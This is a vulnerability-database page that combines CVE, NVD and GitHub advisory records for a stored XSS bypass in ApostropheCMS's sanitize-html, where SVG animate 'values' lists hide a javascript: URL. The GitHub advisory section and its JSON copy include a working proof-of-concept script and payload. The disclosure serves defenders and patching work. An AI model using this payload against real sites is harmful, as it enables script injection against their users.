Vulnerability-Lookup

CVE-2026-84371 (GCVE-0-2026-84371)

Vulnerability from cvelistv5 – Published: 2026-09-01 20:51 – Updated: 2026-09-02 16:02

Title

ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

Summary

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From version 1.9.0 until version 2.17.7, packages/sanitize-html/index.js validates an animation value attribute as one flat URL and does not recognize that attributeName selecting href or xlink:href gives the sibling values, from, to, or by attribute SVG SMIL URL semantics. In configurations that allow the animate, animateColor, animateMotion, animateTransform, or set elements, a values list can begin with a safe fragment and contain a later executable destination that survives allowedSchemesAppliedToAttributes checking. When the sanitized SVG is rendered, the browser can copy that later destination into the live link, and a victim who activates the link can execute script in the application's origin. This issue is fixed in version 2.17.7.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-02 13:42 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/pull/5552	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/blob/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: >= 1.9.0, < 2.17.7	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-84371

Vulnerability from fkie_nvd - Published: 2026-09-01 21:18 - Updated: 2026-09-09 21:09

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/pull/5552
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.9.0, \u003c 2.17.7"
            }
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    }
  ],
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    {
      "lang": "en",
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    }
  ],
  "id": "CVE-2026-84371",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
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        "cvssData": {
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        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-G8QQ-57P8-GGW5

Vulnerability from github – Published: 2026-09-01 21:20 – Updated: 2026-09-01 21:20

Summary

ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

Details

Summary

When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.

Details

index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.

PoC

This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:

const sanitize = require('sanitize-html');

const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
  allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
  allowedAttributes: {
    ...sanitize.defaults.allowedAttributes,
    animate: ['attributename', 'values', 'dur', 'fill'],
    text: ['y']
  },
  allowedSchemesAppliedToAttributes:
    sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);

Install and run it, then open poc.html and click Click me:

npm install sanitize-html@2.17.6
node poc.js > poc.html

The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.

Impact

In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.

Suggested fix

Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.17.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sanitize-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "2.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T21:20:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen SVG animation is allowed, `attributeName=\"href\"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.\n\n### Details\n`index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName=\"href\"` gives the sibling `values` attribute SMIL URI-list semantics. For `values=\"#safe;javascript:...\"`, the leading fragment passes the flat check and the complete list is retained.\n\n### PoC\nThis was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:\n\n```js\nconst sanitize = require(\u0027sanitize-html\u0027);\n\nconst input = `\u003csvg\u003e\u003ca\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(\u0027XSS\u0027)\" dur=\".01s\" fill=\"freeze\"\u003e\u003c/animate\u003e\u003ctext y=\"30\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`;\nconst output = sanitize(input, {\n  allowedTags: sanitize.defaults.allowedTags.concat([\u0027svg\u0027, \u0027animate\u0027, \u0027text\u0027]),\n  allowedAttributes: {\n    ...sanitize.defaults.allowedAttributes,\n    animate: [\u0027attributename\u0027, \u0027values\u0027, \u0027dur\u0027, \u0027fill\u0027],\n    text: [\u0027y\u0027]\n  },\n  allowedSchemesAppliedToAttributes:\n    sanitize.defaults.allowedSchemesAppliedToAttributes.concat([\u0027values\u0027])\n});\nconsole.log(output);\n```\n\nInstall and run it, then open `poc.html` and click `Click me`:\n\n```sh\nnpm install sanitize-html@2.17.6\nnode poc.js \u003e poc.html\n```\n\nThe output retains the `javascript:` entry, and clicking the sanitized SVG displays `XSS`. With `input` changed to `\u003ca href=\"javascript:alert(1)\"\u003econtrol\u003c/a\u003e`, the same configuration removes `href`.\n\n### Impact\nIn an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application\u0027s origin despite the configured scheme policy.\n\n### Suggested fix\nReject `attributeName` values selecting `href` or `xlink:href` on SVG `animate` and `set`, while retaining safe targets such as `fill`. Add `values`, `from`, and `to` regression cases.",
  "id": "GHSA-g8qq-57p8-ggw5",
  "modified": "2026-09-01T21:20:02Z",
  "published": "2026-09-01T21:20:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/pull/5552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-84371 (GCVE-0-2026-84371)

FKIE_CVE-2026-84371

GHSA-G8QQ-57P8-GGW5

Summary

Details

PoC

Impact

Suggested fix

Tags

Sightings

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